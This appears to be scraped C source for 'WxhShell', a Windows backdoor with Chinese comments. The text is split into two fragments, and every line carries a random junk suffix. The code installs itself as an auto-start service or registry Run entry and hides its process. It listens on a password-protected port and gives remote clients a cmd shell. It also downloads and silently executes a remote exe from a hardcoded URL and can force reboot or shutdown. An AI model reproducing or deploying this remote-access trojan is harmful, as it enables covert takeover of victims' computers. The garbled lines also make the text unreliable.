    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.C5+^+%  
    else { < FAheE+  
    closesocket(wsh); {+b7sA3  
    ExitThread(0); p{dj~ &v  
    } M rb)  
    break; W=4FFl[  
    } m~ee/&T  
  // 获取shell a"u0Q5J  
  case 's': { 3HK\BS  
    CmdShell(wsh); , 9 a  
    closesocket(wsh); YKf0dh;O  
    ExitThread(0); *DhiN  
    break; }W,[/)MO  
  } UkGCyGyZ[  
  // 退出 {BU;$  
  case 'x': { w@fi{H(R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IEvdV6{K  
    CloseIt(wsh); Jj%K=sw  
    break; ""~ajy  
    } Yu2Bkq+  
  // 离开 Ny)X+2Ae  
  case 'q': { C+&l< fM&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DLNb o2C  
    closesocket(wsh); j b!i$/%w  
    WSACleanup(); ZqO^f*F>h  
    exit(1); 18:%~>.!  
    break; +X]vl=0  
        } 7"D.L-H  
  } .(2ik5A%9  
  } 3"\lu?-E  
Pj% |\kbNs  
  // 提示信息  %D "I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a C)!T  
} 8, >P  
  } d m%8K6|  
;i:d+!3XwC  
  return; QkC(uS  
} ufT`"i  
S ByW[JE  
// shell模块句柄 @U}1EC{A  
int CmdShell(SOCKET sock) H} g{Cr"Ex  
{ |LKXOU c  
STARTUPINFO si; DM>eVS3}  
ZeroMemory(&si,sizeof(si)); VVOd]2{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3sZ\0P}   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,s;Uf F  
PROCESS_INFORMATION ProcessInfo; .#pU=v#/[  
char cmdline[]="cmd"; UW EV^ &"x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t\ewHZG"  
  return 0; Owk|@6!  
} SasJic2M  
)53y AyP  
// 自身启动模式 du^J2m{f  
int StartFromService(void) *CHX  
{ H$4:lH&(  
typedef struct {Y9q[D'g.  
{ 7D5]G-}x.  
  DWORD ExitStatus; sD wqH.L  
  DWORD PebBaseAddress; lHX72s|V  
  DWORD AffinityMask; b;UJ 88  
  DWORD BasePriority; cYt!n5w~W  
  ULONG UniqueProcessId; pz>>)c`  
  ULONG InheritedFromUniqueProcessId; VP]%Hni]  
}   PROCESS_BASIC_INFORMATION; A3@6N(  
cExS7~*  
PROCNTQSIP NtQueryInformationProcess; *;*r 8[U}q  
PwLZkr@4^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J-hbh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &:) Wh[  
83q6Sv  
  HANDLE             hProcess; ^y%T~dLkp'  
  PROCESS_BASIC_INFORMATION pbi; V "h +L7T  
@;RXLq/8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u.Dz~$T  
  if(NULL == hInst ) return 0; CeC6hGR5  
~/P[J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vRO _Q?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wAW5 Z0D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @<&m|qtMsz  
d/DB nZN  
  if (!NtQueryInformationProcess) return 0; o`*,|Nsq  
CzEd8jeh7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oILZgNe'  
  if(!hProcess) return 0; Ek]'km!  
p.?rey<%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LSr]S79N1  
~R92cH>L  
  CloseHandle(hProcess); 0:Ol7  
3'u-'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B0]~el  
if(hProcess==NULL) return 0; 6,{$J  
ZzT9j~  
HMODULE hMod; Y/zj[>  
char procName[255]; ]GQG~ H^  
unsigned long cbNeeded; yaH Zt`Y  
YcpoL@ab  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;;N9>M?b  
OpYY{f  
  CloseHandle(hProcess); AkQ ~k0i}b  
!d0kV,F:  
if(strstr(procName,"services")) return 1; // 以服务启动 Y`S vMkP)+  
D!IY&H,wo  
  return 0; // 注册表启动 w&T9;_/  
} SNI)9k(T{  
Hja3a{LH  
// 主模块 nc|p)  
int StartWxhshell(LPSTR lpCmdLine) G*P#]eO  
{ ^3L0w}#  
  SOCKET wsl; 7E~;xn;  
BOOL val=TRUE; fS78>*K  
  int port=0; Z}Ft:7   
  struct sockaddr_in door; W v+?TEP  
A{D];pE`  
  if(wscfg.ws_autoins) Install(); Fy-t T]Q9  
HRfYl,S,  
port=atoi(lpCmdLine); wEvVL  
?+}_1x`  
if(port<=0) port=wscfg.ws_port; 'AS|ZRr/  
xYpd: Sm  
  WSADATA data; k_nql8H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U|Ta4W`k\  
[:SWi1cK2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <lE <f+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]|P iF+  
  door.sin_family = AF_INET; _^%,x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n]o<S+z  
  door.sin_port = htons(port); 3m!X/u  
VQ9/Gxdeo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n[Y~]  
closesocket(wsl); 5uj?#)N  
return 1; );&:9[b_  
} H%Q7D-  
fHd#u%63K  
  if(listen(wsl,2) == INVALID_SOCKET) { 8>i n_h9  
closesocket(wsl); JO6)-U$7UG  
return 1; g&Vx:fOC  
} pJ'"j 6Q  
  Wxhshell(wsl); #fn)k1  
  WSACleanup(); ,M ^<CJ  
@O^6&\s>  
return 0; dE{dZ#Jfi  
]Ntmy;Q   
} jkF^-Up.  
=R$u[~Xl2X  
// 以NT服务方式启动 t)$:0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "n5N[1b k  
{ CU2*z(]&  
DWORD   status = 0; _H7x9 y=  
  DWORD   specificError = 0xfffffff; #( 146  
'$]97b7G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >$/>#e~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O)n~](sC\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9gK` E  
  serviceStatus.dwWin32ExitCode     = 0; C 7ScS"~  
  serviceStatus.dwServiceSpecificExitCode = 0; 84zSK)=Y  
  serviceStatus.dwCheckPoint       = 0; B !L{  
  serviceStatus.dwWaitHint       = 0; O23k:=Av  
2B&3TLO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4*cEag   
  if (hServiceStatusHandle==0) return; a![{M<Y~  
lE(HFal0-(  
status = GetLastError(); ( 2E\p  
  if (status!=NO_ERROR) ~H<6gN<j(.  
{ +.b,AqJ/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .2Elr(&*h  
    serviceStatus.dwCheckPoint       = 0; yEoF4bt  
    serviceStatus.dwWaitHint       = 0; Ww+IWW@  
    serviceStatus.dwWin32ExitCode     = status; Ad9}9!<  
    serviceStatus.dwServiceSpecificExitCode = specificError; x,pjpx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,K"U> &  
    return; ]dmrkZz:  
  } &d?CCb$|0Y  
}?_?V&K|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qv KG-|j  
  serviceStatus.dwCheckPoint       = 0; z3m85F%dR  
  serviceStatus.dwWaitHint       = 0; u?<%q!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o&)8o5  
} k1Y?  
}I6veagK  
// 处理NT服务事件,比如:启动、停止 goOCu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k&vz 7Q`T  
{ 2,b(,3{`4:  
switch(fdwControl) BLf>_b Uk  
{ h# o6K#  
case SERVICE_CONTROL_STOP: g63(E,;;J  
  serviceStatus.dwWin32ExitCode = 0; /cQueUME`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _P 3G  
  serviceStatus.dwCheckPoint   = 0; ND#Yen ye  
  serviceStatus.dwWaitHint     = 0; -[9JJ/7y  
  { `*cxH..  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3-qr)h  
  } !v_|zoCEj  
  return; Ru!iR#s)!  
case SERVICE_CONTROL_PAUSE: *:LK8U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x$.^"l-vX  
  break; 5o'FS{6U  
case SERVICE_CONTROL_CONTINUE: U!?_W=?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dI@(<R  
  break; {14fA)`%  
case SERVICE_CONTROL_INTERROGATE: 6"O+w=5B  
  break; qHplJ "  
}; 2M#Q.F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ls$D$/:q?  
} gw3K+P  
%G/ hD  
// 标准应用程序主函数 /h H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FQ7T'G![  
{ s_OF(o  
~IfJwBn-i  
// 获取操作系统版本 tGh~!|P  
OsIsNt=GetOsVer(); Ms5ap<q#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HI R~"It$  
bz2ztH9 n  
  // 从命令行安装 i$:*Pb3mV  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;!mzyb*  
Vl /+;6_  
  // 下载执行文件 d *|Y o  
if(wscfg.ws_downexe) { L~rBAIdD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vrhT<+q  
  WinExec(wscfg.ws_filenam,SW_HIDE); JPc+rfF  
} $%CF8\0  
sV{,S>s   
if(!OsIsNt) { r6MMCJ|G  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;4^Rx  
HideProc(); L_uVL#To  
StartWxhshell(lpCmdLine); %S@ZXf~:  
} \K{0L  
else 9N%We|L,c  
  if(StartFromService()) XSe=sHEI  
  // 以服务方式启动 5T_n %vz  
  StartServiceCtrlDispatcher(DispatchTable); 7$vYo _  
else \FbvHr,  
  // 普通方式启动 :0j?oY~e  
  StartWxhshell(lpCmdLine); ,.83m%i  
LqoB 10Kc\  
return 0; jk; clwyz/  
} +,T RfP Fb  
U0 Yll4E  
(cAIvgI  
h5{'Q$Erl  
=========================================== 3LJ+v5T~  
MSQEO4ge  
g:'xae/]S  
3nIU1e  
uy[At+%zg  
+eWQa`g  
" q#Z@+(^  
@Q ]=\N:  
#include <stdio.h> 7 S#J>*  
#include <string.h> UqFO|r"M  
#include <windows.h> ^pAAzr"hv  
#include <winsock2.h> E"\<s3  
#include <winsvc.h> %Q__!D[  
#include <urlmon.h> {7"Q\  
n/;WxnnQ  
#pragma comment (lib, "Ws2_32.lib") rxgbV.tx  
#pragma comment (lib, "urlmon.lib") =r?hg GWe  
| C;=-|  
#define MAX_USER   100 // 最大客户端连接数 Z58 X5"  
#define BUF_SOCK   200 // sock buffer (Ft+uuG  
#define KEY_BUFF   255 // 输入 buffer jiV<+T?  
^EtMxF@D  
#define REBOOT     0   // 重启 k2omJ$?v  
#define SHUTDOWN   1   // 关机 ITE{@1  
*KZYv=s,u  
#define DEF_PORT   5000 // 监听端口 M)J5;^["  
9-VNp;V  
#define REG_LEN     16   // 注册表键长度 -j# 2}[J7  
#define SVC_LEN     80   // NT服务名长度 _UMg[Um  
8\@m - E!{  
// 从dll定义API :}L[sl\R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U8s2|G;K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !=*g@mgF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T] f ;km  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ex Y]Sdx  
MnsJEvn/  
// wxhshell配置信息 >\-hO&%_  
struct WSCFG { tzWSA-Li  
  int ws_port;         // 监听端口 .;y.]Z/;  
  char ws_passstr[REG_LEN]; // 口令 Z, zWuE3  
  int ws_autoins;       // 安装标记, 1=yes 0=no aD<A.Lhy  
  char ws_regname[REG_LEN]; // 注册表键名 Q Uwd [  
  char ws_svcname[REG_LEN]; // 服务名 j78i #}e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %~O,zs.2p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9tU]`f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ''A_[J `>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2@n{yYwy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [`#CXq'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @ wGPqg  
SB;&GHq"n  
}; G, }Yl  
}/0X'o  
// default Wxhshell configuration &&5aM  
struct WSCFG wscfg={DEF_PORT, )!th7sH  
    "xuhuanlingzhe", 0cv{  
    1, g+8OekzB5  
    "Wxhshell", /QK6Rac-  
    "Wxhshell", uanhr)Ys  
            "WxhShell Service", I13y6= d  
    "Wrsky Windows CmdShell Service", bQzZy5,  
    "Please Input Your Password: ", xeg/A}yE  
  1, )nC]5MXU  
  "http://www.wrsky.com/wxhshell.exe", lZd(emH@  
  "Wxhshell.exe" x 77*c._3v  
    }; WA<v9#m  
\#8D>i?m  
// 消息定义模块 AVsDt2A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; euK5pA>L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mxvp3t \  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b <tNk]7  
char *msg_ws_ext="\n\rExit."; >2Y=*K,:  
char *msg_ws_end="\n\rQuit."; ]{;gw<T  
char *msg_ws_boot="\n\rReboot..."; $g^@AdE%  
char *msg_ws_poff="\n\rShutdown..."; KaLzg5is  
char *msg_ws_down="\n\rSave to "; Z\(q@3C  
z 4e7PW|  
char *msg_ws_err="\n\rErr!"; =Pyj%4Rs  
char *msg_ws_ok="\n\rOK!"; rX U  
[$ubNk;!z  
char ExeFile[MAX_PATH]; lB8-Z ow  
int nUser = 0; I }a`0Y&{  
HANDLE handles[MAX_USER]; Eh)fnqs_d}  
int OsIsNt; o@_q]/Mh  
\ ,'m</o~,  
SERVICE_STATUS       serviceStatus; : p1u(hflS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7zl5yK N  
] 7[ 3>IN  
// 函数声明 ^Y?k0z  
int Install(void); #z'  
int Uninstall(void); M :=J^0  
int DownloadFile(char *sURL, SOCKET wsh); :;v~%e{k  
int Boot(int flag); [@_Jj3`4  
void HideProc(void); cRC6 s8  
int GetOsVer(void); +X\FBvP&  
int Wxhshell(SOCKET wsl); c^5~QGuQ  
void TalkWithClient(void *cs); DcS+_>a\{l  
int CmdShell(SOCKET sock); ]]HNd7Vh  
int StartFromService(void); 5p,RI&nlN  
int StartWxhshell(LPSTR lpCmdLine); W Tcw4  
;_XFo&@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K,tQ!kk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PioZIb/{  
]HbY  
// 数据结构和表定义 av(6wht8  
SERVICE_TABLE_ENTRY DispatchTable[] = 3RUy, s  
{ fQ7V/x!  
{wscfg.ws_svcname, NTServiceMain}, eYc$ dPE  
{NULL, NULL} 8%:Iv(UMk  
}; 2/U.| *mH  
qRu~$K  
// 自我安装 b;L\EB  
int Install(void) ~kV/!=  
{ H[T?\Lq  
  char svExeFile[MAX_PATH]; xPdG*OcX!  
  HKEY key; \wmN  
  strcpy(svExeFile,ExeFile); 0RzEY!9g+  
JT~4mT  
// 如果是win9x系统,修改注册表设为自启动 I !- U'{  
if(!OsIsNt) {  C;v.S5x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {% 6}'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9FF0%*tGo  
  RegCloseKey(key); s$IDLs,WM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B  5L2<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "mo?* a$Sk  
  RegCloseKey(key); >e lJkq|  
  return 0; )J=!L\  
    } D2 #ZpFp"h  
  } V(}:=eK  
} 6]i-E>p3R  
else { S*pGMuui  
Xa[.3=bV?  
// 如果是NT以上系统,安装为系统服务 y4yhF8E>;U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^ "E^zHM(  
if (schSCManager!=0) UB@Rs|)  
{ 9p85Pv [M=  
  SC_HANDLE schService = CreateService )w em|:H  
  ( rD tY[  
  schSCManager, K&u_R  
  wscfg.ws_svcname, 1pVS&0W  
  wscfg.ws_svcdisp, .C%<P"=J4h  
  SERVICE_ALL_ACCESS, D#aDv0b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b\f O8{k  
  SERVICE_AUTO_START, #x@$ lc=k3  
  SERVICE_ERROR_NORMAL, oueC  
  svExeFile, 7Y lchmd  
  NULL, 4>YR{  
  NULL, cs48*+m  
  NULL, _r#Z}HK  
  NULL, 0J*??g-n  
  NULL *YI98  
  ); yHYsZ,GE  
  if (schService!=0) `K"L /I9  
  { v4<nI;Ux  
  CloseServiceHandle(schService); 5{TsiZh4  
  CloseServiceHandle(schSCManager); 3l]lwV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'B$yo]  
  strcat(svExeFile,wscfg.ws_svcname); SZ7:u895E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?9vuuIE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m<G,[Yc  
  RegCloseKey(key); Lpkyoh v  
  return 0; `b&%Hm  
    } wKh4|Ka  
  } i%iL[id:w  
  CloseServiceHandle(schSCManager); goNG' o %|  
} _ >?\DgjH  
} _{ue8kGt  
,O5NLg-  
return 1; ~i= _J3'  
} \0gis#  
B^=-Z8  
// 自我卸载 pp?D7S  
int Uninstall(void) m[osg< CR_  
{ TvoyZW\?w  
  HKEY key; DDQx g  
E, Z$pKL?  
if(!OsIsNt) { 5PCqYN(:B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `?H]h"{7Q  
  RegDeleteValue(key,wscfg.ws_regname); L<c4kw  
  RegCloseKey(key); t|?ez4/{z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j a[Et/r  
  RegDeleteValue(key,wscfg.ws_regname); J`Q>3] wL  
  RegCloseKey(key); $GV7o{"&  
  return 0; HdI8f!X'TG  
  } ho{*Cjv  
} n6=By|jRh  
} &<g|gsG`  
else { /V8 #[9K  
G&SB-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nUr5Qn?  
if (schSCManager!=0) ?PxP% $hS  
{ 1#g2A0U,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <V'@ks%  
  if (schService!=0) OdbEq?3S/?  
  { g9pZ\$J&  
  if(DeleteService(schService)!=0) { h f)?1z4  
  CloseServiceHandle(schService); 3Aip}<1  
  CloseServiceHandle(schSCManager); *"2+B&Y  
  return 0; sjTZF-  
  } X #dmo/L8  
  CloseServiceHandle(schService); phkwN}6  
  } ^#-l q)  
  CloseServiceHandle(schSCManager); @s>Czm5  
}  N];NAMp  
} dbLZc$vPj  
>=lC4Tu  
return 1; G>_*djUf  
} 2szPAuN+  
lBE= (A`  
// 从指定url下载文件 H'5)UX@LP  
int DownloadFile(char *sURL, SOCKET wsh) eIF5ZPSZi  
{ ?,Xw[pR  
  HRESULT hr; je-!4r,  
char seps[]= "/"; y1D L,%j  
char *token; B IEO,W|  
char *file; JG. y,<xW  
char myURL[MAX_PATH]; %Xg4b6<9  
char myFILE[MAX_PATH]; P:S.~Jq  
uc{Ihw  
strcpy(myURL,sURL); g/_5unI}u  
  token=strtok(myURL,seps); 5~U/   
  while(token!=NULL) 2W(s(-hD  
  { I|!OY`ko  
    file=token; hag$GX'2k  
  token=strtok(NULL,seps); c ]-<vkpV  
  } Gu,wF(x7A  
o[4}h:> dq  
GetCurrentDirectory(MAX_PATH,myFILE); l4YbKnp]  
strcat(myFILE, "\\"); c]<5zyl"j1  
strcat(myFILE, file); 0o4XUW   
  send(wsh,myFILE,strlen(myFILE),0); k'Hs}zeNn  
send(wsh,"...",3,0); &B;~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p>N(Typ0b  
  if(hr==S_OK) *R,5h2;  
return 0; `hm-.@f,9  
else //MUeTxR  
return 1;  dFc':|  
h4}84}5d  
} X`/k)N>l  
3*bU6$|5FP  
// 系统电源模块 qZh/IW  
int Boot(int flag) =*.~BG  
{ K3m/(jdO  
  HANDLE hToken; -ad{tJV|  
  TOKEN_PRIVILEGES tkp; :kV#y  
}#+^{P3;  
  if(OsIsNt) { }&D WaO]J7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {WS;dX4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); klYX7?  
    tkp.PrivilegeCount = 1; rXq.DvQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <dNOd0e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3`?7 <YJ  
if(flag==REBOOT) { T<>,lQs(a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .43'HV  
  return 0; Y-z(zS^1  
} \l0[rcEf  
else { =%O6:YM   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fbvL7* (  
  return 0; /s?`&1v|r  
} A\DCW  
  } S@tLCqV4  
  else { ^ +\dz  
if(flag==REBOOT) { #%2rP'He  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6_;icpN]  
  return 0; h" W,WxL8  
} 6|=f$a  
else { pllGB6X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2tO,dx  
  return 0; Rp7mh]kZ  
} 9=tIz  
} d-ko ^Y0  
G*MUO#_iuh  
return 1; 8Fh)eha9f  
} >'$Mp<  
Y@iS_lR  
// win9x进程隐藏模块 N~gzDQ3  
void HideProc(void) tOD6&<  
{ 3}1u\(Mf  
pki%vRY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r5/0u(\LB  
  if ( hKernel != NULL ) FV!q!D  
  { T::85  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \@zHON(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gJ{)-\  
    FreeLibrary(hKernel); Fo_sgv8O<  
  } H?Wya.7  
!< ";cw(q  
return; J;e2&gB  
} C) s5D  
0+ '&`Q!u  
// 获取操作系统版本 j (d~aqW  
int GetOsVer(void) "k@/ 3  
{ \)[j_^  
  OSVERSIONINFO winfo; & .j&0WE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?V=ZIGj  
  GetVersionEx(&winfo); JbbzV>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,0sm  
  return 1; qDIZJ h  
  else U)gH}0n&  
  return 0; =WATyY:s  
} _VN?#J)o  
3"i-o$P  
// 客户端句柄模块 ]6` %  
int Wxhshell(SOCKET wsl) ObS3 M  
{ !.gIHY  
  SOCKET wsh; ITBE|b  
  struct sockaddr_in client; p l0\2e)  
  DWORD myID; 3$R1ipb  
e !Y~Qy  
  while(nUser<MAX_USER) !pW0qX\1n  
{ T^KKy0ZGM  
  int nSize=sizeof(client); 59A}}.@?m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )akoa,#%6c  
  if(wsh==INVALID_SOCKET) return 1; ~mxO7cy5Cg  
7}>EJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ki!0^t:9  
if(handles[nUser]==0) t*u:hex  
  closesocket(wsh); +6\Zj)  
else n\53wh@+  
  nUser++; W!(zT6#  
  } Q%G8U#Tm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AkV#J, 3LC  
eMsd37J  
  return 0; u#.2w)!D  
} x;d6vBTUb  
6{b >p+U  
// 关闭 socket IJ"q~r$  
void CloseIt(SOCKET wsh) D@.6>:;il  
{ 0e4{{zQx  
closesocket(wsh); }Y\%RA  
nUser--; 0h_|t-9j  
ExitThread(0); T8g$uFo  
} /x$nje,.  
;_(4Q*Yx  
// 客户端请求句柄 6&x@.1('z  
void TalkWithClient(void *cs) 7:1Lol-V  
{ QWYJ *  
m_]Y{3C  
  SOCKET wsh=(SOCKET)cs; ez$(c  
  char pwd[SVC_LEN]; R m( "=(  
  char cmd[KEY_BUFF]; e7 o.xR  
char chr[1]; |{ip T SH  
int i,j; !|(NgzDP/  
N6:`/f+A>T  
  while (nUser < MAX_USER) { 1+s;FJ2}  
sgFEK[w.y  
if(wscfg.ws_passstr) { k,*XG$2h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mzgfFNm^G)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WsB?C&>x  
  //ZeroMemory(pwd,KEY_BUFF); 7[)E>XRE  
      i=0; 4WB0Pt{  
  while(i<SVC_LEN) { ktIFI`@ w)  
UK!(G  
  // 设置超时 PW0LG^xp`  
  fd_set FdRead; oEv 'dQ9  
  struct timeval TimeOut; Dd|VMW=  
  FD_ZERO(&FdRead); 2^7`mES  
  FD_SET(wsh,&FdRead); h376Be{P  
  TimeOut.tv_sec=8; <hyKu  
  TimeOut.tv_usec=0; /{I$#:M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2,b$7xaf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {l@{FUv  
^cWnF0)j.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oB7_O-3z  
  pwd=chr[0]; ^2rN>k,?  
  if(chr[0]==0xd || chr[0]==0xa) { yG{TH0tq  
  pwd=0; E1 2uZ$X  
  break; ih3n<gXF  
  } SXh-A1t  
  i++; "tK=+f`NM  
    } :ws<-Qy  
(bS&D/N.  
  // 如果是非法用户,关闭 socket }SZd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3v-~K)hl?  
} Vurq t_nb  
%cn<ych G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SpBy3wd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~xTt204S  
-9?]IIVb  
while(1) { ;_=&-mz  
omx=  
  ZeroMemory(cmd,KEY_BUFF); Mtx4'WZ  
4xj4=C~i  
      // 自动支持客户端 telnet标准   X?Q4}Y  
  j=0; h";L  
  while(j<KEY_BUFF) { 53 h0UL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #'}*dy/  
  cmd[j]=chr[0]; :`sUt1Fw.  
  if(chr[0]==0xa || chr[0]==0xd) { h68 xet;  
  cmd[j]=0; Y]a@j !  
  break; lB4WKn=?Kl  
  } Z\sDUJ  
  j++; "dlV k~  
    } WIGi51yC.x  
LzL So"n  
  // 下载文件 =_^X3z0  
  if(strstr(cmd,"http://")) { 5)40/cBe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k5)om;.w  
  if(DownloadFile(cmd,wsh)) RnN!2K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -?a 26o%e  
  else <UCl@5g&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U0+-W07>  
  } !r-F>!~  
  else { dRMx[7jVA  
: Dp0?&_  
    switch(cmd[0]) { F'Z,]b'st3  
  \2z>?i)  
  // 帮助 2AdDIVYC  
  case '?': { mkpMfPt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); unxqkU/<Z  
